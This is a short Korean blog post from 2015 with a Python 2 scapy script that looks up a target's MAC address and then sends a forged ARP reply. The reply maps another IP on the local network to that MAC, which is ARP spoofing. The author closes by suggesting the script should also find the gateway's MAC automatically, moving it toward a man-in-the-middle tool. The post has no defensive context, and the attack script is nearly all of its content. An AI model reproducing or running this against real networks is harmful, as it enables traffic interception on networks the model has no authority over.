Python
scapy 를 이용한 ARP 패킷
kcrong
2015. 5. 2. 00:45
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from scapy.all import * import sys import os if(len(sys.argv) < 3): print "Usage : %s [target] [broadcast]" %sys.argv[0] exit() a=ARP() a.pdst=sys.argv[1] get=sr1(a) os.system("clear") print "%s mac addr is" %sys.argv[1] print " "+get.hwsrc payload=ARP() payload.pdst="192.168.0.3" payload.psrc="192.168.0.33" payload.hwsrc=get.hwsrc sr1(payload) |
브로드캐스트 주소 계산 기능에,
자동 게이트웨이 맥주소 탐지 기능도 추가하면 더 좋을 것 같다.